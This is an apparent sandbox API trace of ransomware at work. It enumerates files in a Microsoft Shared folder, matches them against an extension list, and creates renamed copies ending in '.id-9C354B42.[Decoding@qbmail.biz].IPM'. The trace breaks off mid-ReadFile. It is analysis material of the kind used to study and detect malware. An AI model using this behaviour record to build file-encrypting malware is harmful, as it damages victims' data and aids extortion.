GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=924) returned 1 [0079.234] CloseHandle (hObject=0x1d8) returned 1 [0079.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml")) returned 0x20 [0079.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.234] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.234] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.234] lstrlenW (lpString=".doc") returned 4 [0079.234] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.235] lstrlenW (lpString=".docx") returned 5 [0079.235] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0079.235] lstrlenW (lpString=".pdf") returned 4 [0079.235] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.235] lstrlenW (lpString=".xls") returned 4 [0079.235] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.235] lstrlenW (lpString=".xlsx") returned 5 [0079.235] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0079.235] lstrlenW (lpString=".ppt") returned 4 [0079.235] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.235] lstrlenW (lpString=".zip") returned 4 [0079.235] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.235] lstrlenW (lpString=".rar") returned 4 [0079.235] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.235] lstrlenW (lpString=".bz2") returned 4 [0079.235] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.235] lstrlenW (lpString=".7z") returned 3 [0079.235] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.235] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.236] lstrlenW (lpString=".dbf") returned 4 [0079.236] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.236] lstrlenW (lpString=".1cd") returned 4 [0079.236] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.236] lstrlenW (lpString=".jpg") returned 4 [0079.236] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.236] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.236] lstrlenW (lpString=".doc") returned 4 [0079.236] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.236] lstrlenW (lpString=".docx") returned 5 [0079.236] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0079.236] lstrlenW (lpString=".pdf") returned 4 [0079.236] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.236] lstrlenW (lpString=".xls") returned 4 [0079.236] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.237] lstrlenW (lpString=".xlsx") returned 5 [0079.237] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0079.237] lstrlenW (lpString=".ppt") returned 4 [0079.237] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.237] lstrlenW (lpString=".zip") returned 4 [0079.237] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.237] lstrlenW (lpString=".rar") returned 4 [0079.237] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.237] lstrlenW (lpString=".bz2") returned 4 [0079.237] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.237] lstrlenW (lpString=".7z") returned 3 [0079.237] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.237] lstrlenW (lpString=".dbf") returned 4 [0079.237] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.237] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.237] lstrlenW (lpString=".1cd") returned 4 [0079.237] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.238] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\oskpred\\oskpredbase.xml") returned 88 [0079.238] lstrlenW (lpString=".jpg") returned 4 [0079.238] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.238] lstrcmpiW (lpString1=".xml", lpString2=".IPM") returned 1 [0079.238] lstrlenW (lpString="ja-jp-sym.xml") returned 13 [0079.238] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0079.249] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=749) returned 1 [0079.249] CloseHandle (hObject=0x1d8) returned 1 [0079.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml")) returned 0x20 [0079.250] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.250] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.250] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.250] lstrlenW (lpString=".doc") returned 4 [0079.250] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.250] lstrlenW (lpString=".docx") returned 5 [0079.250] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0079.250] lstrlenW (lpString=".pdf") returned 4 [0079.250] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.250] lstrlenW (lpString=".xls") returned 4 [0079.250] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.251] lstrlenW (lpString=".xlsx") returned 5 [0079.251] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0079.251] lstrlenW (lpString=".ppt") returned 4 [0079.251] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.251] lstrlenW (lpString=".zip") returned 4 [0079.251] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.251] lstrlenW (lpString=".rar") returned 4 [0079.251] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.251] lstrlenW (lpString=".bz2") returned 4 [0079.251] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.251] lstrlenW (lpString=".7z") returned 3 [0079.251] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.251] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.251] lstrlenW (lpString=".dbf") returned 4 [0079.261] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.261] lstrlenW (lpString=".1cd") returned 4 [0079.261] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.261] lstrlenW (lpString=".jpg") returned 4 [0079.261] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.261] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.261] lstrlenW (lpString=".doc") returned 4 [0079.261] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.261] lstrlenW (lpString=".docx") returned 5 [0079.261] lstrcmpiW (lpString1=".docx", lpString2="m.xml") returned -1 [0079.261] lstrlenW (lpString=".pdf") returned 4 [0079.261] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.262] lstrlenW (lpString=".xls") returned 4 [0079.262] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.262] lstrlenW (lpString=".xlsx") returned 5 [0079.262] lstrcmpiW (lpString1=".xlsx", lpString2="m.xml") returned -1 [0079.262] lstrlenW (lpString=".ppt") returned 4 [0079.262] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.262] lstrlenW (lpString=".zip") returned 4 [0079.262] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.262] lstrlenW (lpString=".rar") returned 4 [0079.262] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.262] lstrlenW (lpString=".bz2") returned 4 [0079.262] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.262] lstrlenW (lpString=".7z") returned 3 [0079.262] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.262] lstrlenW (lpString=".dbf") returned 4 [0079.262] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.262] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.262] lstrlenW (lpString=".1cd") returned 4 [0079.263] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.263] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fsdefinitions\\symbols\\ja-jp-sym.xml") returned 86 [0079.263] lstrlenW (lpString=".jpg") returned 4 [0079.263] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.263] lstrcmpiW (lpString1=".dat", lpString2=".IPM") returned -1 [0079.263] lstrlenW (lpString="hwrcommonlm.dat") returned 15 [0079.263] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d8 [0079.264] GetFileSizeEx (in: hFile=0x1d8, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=46624) returned 1 [0079.264] CloseHandle (hObject=0x1d8) returned 1 [0079.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat")) returned 0x20 [0079.264] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.264] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrcommonlm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.265] lstrlenW (lpString=".doc") returned 4 [0079.265] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0079.265] lstrlenW (lpString=".docx") returned 5 [0079.265] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0079.265] lstrlenW (lpString=".pdf") returned 4 [0079.265] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0079.265] lstrlenW (lpString=".xls") returned 4 [0079.265] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0079.265] lstrlenW (lpString=".xlsx") returned 5 [0079.265] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0079.265] lstrlenW (lpString=".ppt") returned 4 [0079.265] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0079.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.265] lstrlenW (lpString=".zip") returned 4 [0079.265] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0079.265] lstrlenW (lpString=".rar") returned 4 [0079.265] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0079.265] lstrlenW (lpString=".bz2") returned 4 [0079.265] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0079.265] lstrlenW (lpString=".7z") returned 3 [0079.265] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0079.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.266] lstrlenW (lpString=".dbf") returned 4 [0079.266] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0079.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.266] lstrlenW (lpString=".1cd") returned 4 [0079.266] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0079.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.266] lstrlenW (lpString=".jpg") returned 4 [0079.266] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0079.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.266] lstrlenW (lpString=".doc") returned 4 [0079.266] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0079.266] lstrlenW (lpString=".docx") returned 5 [0079.266] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0079.266] lstrlenW (lpString=".pdf") returned 4 [0079.267] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0079.267] lstrlenW (lpString=".xls") returned 4 [0079.267] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0079.267] lstrlenW (lpString=".xlsx") returned 5 [0079.267] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0079.267] lstrlenW (lpString=".ppt") returned 4 [0079.267] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0079.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.267] lstrlenW (lpString=".zip") returned 4 [0079.267] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0079.267] lstrlenW (lpString=".rar") returned 4 [0079.267] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0079.267] lstrlenW (lpString=".bz2") returned 4 [0079.267] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0079.267] lstrlenW (lpString=".7z") returned 3 [0079.267] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0079.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.267] lstrlenW (lpString=".dbf") returned 4 [0079.267] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0079.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.268] lstrlenW (lpString=".1cd") returned 4 [0079.268] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0079.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0079.268] lstrlenW (lpString=".jpg") returned 4 [0079.268] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0079.268] lstrcmpiW (lpString1=".dat", lpString2=".IPM") returned -1 [0079.268] lstrlenW (lpString="hwrenalm.dat") returned 12 [0079.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.318] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=747280) returned 1 [0079.318] CloseHandle (hObject=0x208) returned 1 [0079.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0079.320] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.320] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0079.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.321] lstrlenW (lpString=".doc") returned 4 [0079.321] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0079.321] lstrlenW (lpString=".docx") returned 5 [0079.321] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0079.321] lstrlenW (lpString=".pdf") returned 4 [0079.321] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0079.321] lstrlenW (lpString=".xls") returned 4 [0079.321] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0079.321] lstrlenW (lpString=".xlsx") returned 5 [0079.321] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0079.321] lstrlenW (lpString=".ppt") returned 4 [0079.322] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.322] lstrlenW (lpString=".zip") returned 4 [0079.322] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0079.322] lstrlenW (lpString=".rar") returned 4 [0079.322] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0079.322] lstrlenW (lpString=".bz2") returned 4 [0079.322] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0079.322] lstrlenW (lpString=".7z") returned 3 [0079.322] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.322] lstrlenW (lpString=".dbf") returned 4 [0079.322] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.322] lstrlenW (lpString=".1cd") returned 4 [0079.322] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0079.322] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.323] lstrlenW (lpString=".jpg") returned 4 [0079.323] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0079.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.323] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.323] lstrlenW (lpString=".doc") returned 4 [0079.323] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0079.323] lstrlenW (lpString=".docx") returned 5 [0079.323] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0079.323] lstrlenW (lpString=".pdf") returned 4 [0079.323] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0079.323] lstrlenW (lpString=".xls") returned 4 [0079.323] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0079.323] lstrlenW (lpString=".xlsx") returned 5 [0079.323] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0079.323] lstrlenW (lpString=".ppt") returned 4 [0079.323] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0079.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.324] lstrlenW (lpString=".zip") returned 4 [0079.324] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0079.324] lstrlenW (lpString=".rar") returned 4 [0079.324] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0079.324] lstrlenW (lpString=".bz2") returned 4 [0079.324] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0079.324] lstrlenW (lpString=".7z") returned 3 [0079.324] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0079.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.324] lstrlenW (lpString=".dbf") returned 4 [0079.324] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0079.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.324] lstrlenW (lpString=".1cd") returned 4 [0079.324] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0079.324] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0079.324] lstrlenW (lpString=".jpg") returned 4 [0079.324] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0079.325] lstrcmpiW (lpString1=".XML", lpString2=".IPM") returned 1 [0079.325] lstrlenW (lpString="AccessMUI.XML") returned 13 [0079.325] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.327] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b2ff1c | out: lpFileSize=0x2b2ff1c*=1349) returned 1 [0079.328] CloseHandle (hObject=0x208) returned 1 [0079.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml")) returned 0x20 [0079.328] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm")) returned 0xffffffff [0079.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0079.328] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.328] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b2fec8 | out: lpNewFilePointer=0x0) returned 1 [0079.328] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\AccessMUI.XML.id-9C354B42.[Decoding@qbmail.biz].IPM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\accessmui.xml.id-9c354b42.[decoding@qbmail.biz].ipm"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0079.329] GetLastError () returned 0x0 [0079.329] ReadFile (in: hFile=0x208, lpBuffer=0x3640020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b2fed4, lpOverlapped=0x0 | out: 